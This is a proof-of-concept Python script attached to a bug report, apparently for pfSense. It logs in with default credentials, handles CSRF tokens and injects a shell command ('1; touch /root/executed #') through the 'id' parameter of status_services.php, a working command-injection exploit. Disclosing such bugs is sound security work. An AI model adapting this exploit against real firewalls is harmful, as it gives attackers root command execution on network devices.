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Bug #16743 ยป poc-isvalidpid-exec.py

Jim Pingle, 03/11/2026 06:27 PM

 
#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup

baseurl = 'https://192.168.1.1'

target = baseurl + '/status_services.php'

login_data = {
'login' : 'Login',
'usernamefld' : 'admin',
'passwordfld' : 'pfsense',
}

target_data = {
"ajax": "1",
"service": "openvpn",
"mode": "stopservice",
"vpnmode": "server",
"id": "1; touch /root/executed #"
}

headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0'}

with requests.Session() as s:
# Fetch CSRF token from login page
r = s.get(baseurl, headers=headers, verify=False)

soup = BeautifulSoup(r.text, 'lxml')
login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

# Login
r = s.post(baseurl, data=login_data, headers=headers)

# Find the next CSRF token
soup = BeautifulSoup(r.text, 'lxml')
target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

# Submit actual request
r = s.post(target, data=target_data, headers=headers)

# Dump response
print(r.text)
    (1-1/1)